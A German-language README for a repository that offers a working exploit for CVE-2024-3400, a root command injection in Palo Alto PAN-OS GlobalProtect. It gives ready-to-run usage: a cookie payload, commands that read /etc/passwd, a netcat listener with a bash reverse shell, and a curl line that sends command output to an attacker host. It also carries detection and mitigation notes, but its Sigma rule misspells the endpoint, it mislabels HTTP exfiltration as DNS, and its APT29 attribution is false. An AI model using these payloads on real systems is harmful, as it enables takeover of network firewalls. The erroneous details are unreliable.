Reproduktion von cve-2024-3400-panos_rce_reproduction
CVSS 10.0 KRITISCH | CWE-78: OS-Befehlsinjektion | Massenhaft in freier Wildbahn ausgenutzt
CVE-2024-3400 ist eine Befehlsinjektions-Schwachstelle vor der Authentifizierung in den GlobalProtect-Portal- und Gateway-Schnittstellen von Palo Alto Networks PAN-OS. Die Schwachstelle ermöglicht es einem nicht authentifizierten Angreifer, beliebige Befehle mit Root-Rechten auf der betroffenen Firewall auszuführen.
Die Schwachstelle liegt in der Sitzungscookie-Verarbeitung der GlobalProtect-Portal- und Gateway-Komponente. Die Funktion, die für die Verarbeitung des SESSID-Cookies zuständig ist, unterlässt es, die vom Benutzer gelieferten Eingaben ordnungsgemäß zu bereinigen, bevor sie an einen Shell-Befehl übergeben wird.
Konkret führt eine nicht authentifizierte HTTP-Anfrage an den GlobalProtect-Portal-Endpunkt (/global-protect/login.esp) mit einem manipulierten SESSID-Cookie, das eingebettete Shell-Metazeichen (Backticks und Variablenexpansion) enthält, zu einer Befehlsinjektion.
Der anfällige Codepfad funktioniert wie folgt:
/global-protect/login.espSESSID-Cookies wird ohne Bereinigung extrahiertsystem() oder eine ähnliche OS-Befehlsausführungsfunktion ausgeführtDie Injektions-Payload verwendet in Backticks gesetzte Befehle innerhalb des SESSID-Cookies:
SESSID=/../../../opt/panlogs/tmp/device_telemetry/`COMMAND`.py
Die Pfad-Traversal (/../../../) verlässt das vorgesehene Verzeichnis, und der in Backticks gesetzte COMMAND-Teil veranlasst die Shell, die Eingabe des Angreifers auszuführen. Umleitung der Ausgabe oder Reverse-Shell-Mechanismen können verwendet werden, um Befehlsergebnisse zu exfiltrieren.
| PAN-OS-Version | Betroffen | Behoben in |
|---|---|---|
| 10.2.x | < 10.2.4-h16, < 10.2.5-h6, < 10.2.6-h3, < 10.2.7-h8, < 10.2.8-h3, < 10.2.9-h1 | 10.2.4-h16 / 10.2.5-h6 / 10.2.6-h3 / 10.2.7-h8 / 10.2.8-h3 / 10.2.9-h1 |
| 11.0.x | < 11.0.1-h10, < 11.0.2-h4, < 11.0.3-h10 | 11.0.1-h10 / 11.0.2-h4 / 11.0.3-h10 |
| 11.1.x | < 11.1.1-h3 | 11.1.1-h3 |
Hinweis: PAN-OS 9.x und frühere Versionen sind nicht betroffen. Cloud NGFW und Prisma Access sind nicht betroffen.
Es wurde beobachtet, dass UNC4554 / Midnight Blizzard (APT29) CVE-2024-3400 ab März 2024 als 0-Day ausnutzte. Volexity veröffentlichte ihre Analyse am 12. April 2024. Die Angriffsmuster umfassten:
Es wurden mehrere öffentliche PoCs veröffentlicht. Dieses Repository stellt einen funktionsfähigen Exploit für autorisierte Tests bereit.
requests-Bibliothekpip install requests
python exploit.py --target https://vulnerable-firewall.example.com --command "id"
# Start listener on attacker machine
nc -lvnp 4444
# Execute reverse shell
python exploit.py --target https://vuln-panos.example.com \
--command "bash -c 'bash -i >& /dev/tcp/192.168.1.100/4444 0>&1'"
python exploit.py --target https://vuln-panos.example.com --command "cat /etc/passwd"
# Basic command execution test
curl -k --cookie "SESSID=/../../../opt/panlogs/tmp/device_telemetry/\`id\`.py" \
'https://target/global-protect/login.esp'
# Command output capture via DNS exfiltration
curl -k --cookie "SESSID=/../../../opt/panlogs/tmp/device_telemetry/\`wget -O- http://attacker/$(id|base64)\`.py" \
'https://target/global-protect/login.esp'
Siehe exploit.py in diesem Repository für einen voll ausgestatteten Python-Exploit mit Unterstützung für:
/global-protect/login.esp mit ungewöhnlich langen oder verdächtigen SESSID-Cookies/../../) in Kombination mit Backtick-Zeichen enthalten.py-Erweiterung, die nach /opt/panlogs/tmp/device_telemetry/ geschrieben werdentitle: CVE-2024-3400 PAN-OS GlobalProtect Command Injection
status: stable
logsource:
category: webserver
detection:
selection:
cs-uri-query: "/global-protocol/login.esp"
cs-cookie|contains:
- "../"
- "`"
condition: selection
set deviceconfig system telemetry disable yes (blockiert den anfälligen Codepfad, ohne einen Neustart zu erfordern)/opt/panlogs/tmp/device_telemetry/SESSID-Cookie-WerteWenden Sie den von Palo Alto Networks bereitgestellten Hotfix an. Der Fix bereinigt die Cookie-Eingabe ordnungsgemäß, bevor der Shell-Befehl erstellt wird.
Wenn Sie eine Ausnutzung vermuten:
| Quelle | Link |
|---|---|
| Palo Alto Security Advisory | https://security.paloaltonetworks.com/CVE-2024-3400 |
| Volexity Analyse | https://www.volexity.com/blog/2024/04/12/zero-day-exploitation-of-unauthenticated-command-injection-vulnerability-in-palo-alto-networks-pan-os/ |
| NVD-Eintrag | https://nvd.nist.gov/vuln/detail/CVE-2024-3400 |
| CWE-78-Details | https://cwe.mitre.org/data/definitions/78.html |
| CISA KEV | https://www.cisa.gov/known-exploited-vulnerabilities-catalog |
| ATT&CK-Technik | https://attack.mitre.org/techniques/T1190/ |
Dieses Repository wird ausschließlich für autorisierte Sicherheitstests und Bildungszwecke bereitgestellt. Die nicht autorisierte Ausnutzung dieser Schwachstelle ist illegal. Die Autoren sind nicht verantwortlich für den Missbrauch dieser Informationen. Stellen Sie stets sicher, dass Sie vor dem Testen eines Systems eine ausdrückliche schriftliche Genehmigung haben.
MIT-Lizenz – Dieser Inhalt wird für defensive Sicherheitsforschung und autorisierte Tests bereitgestellt.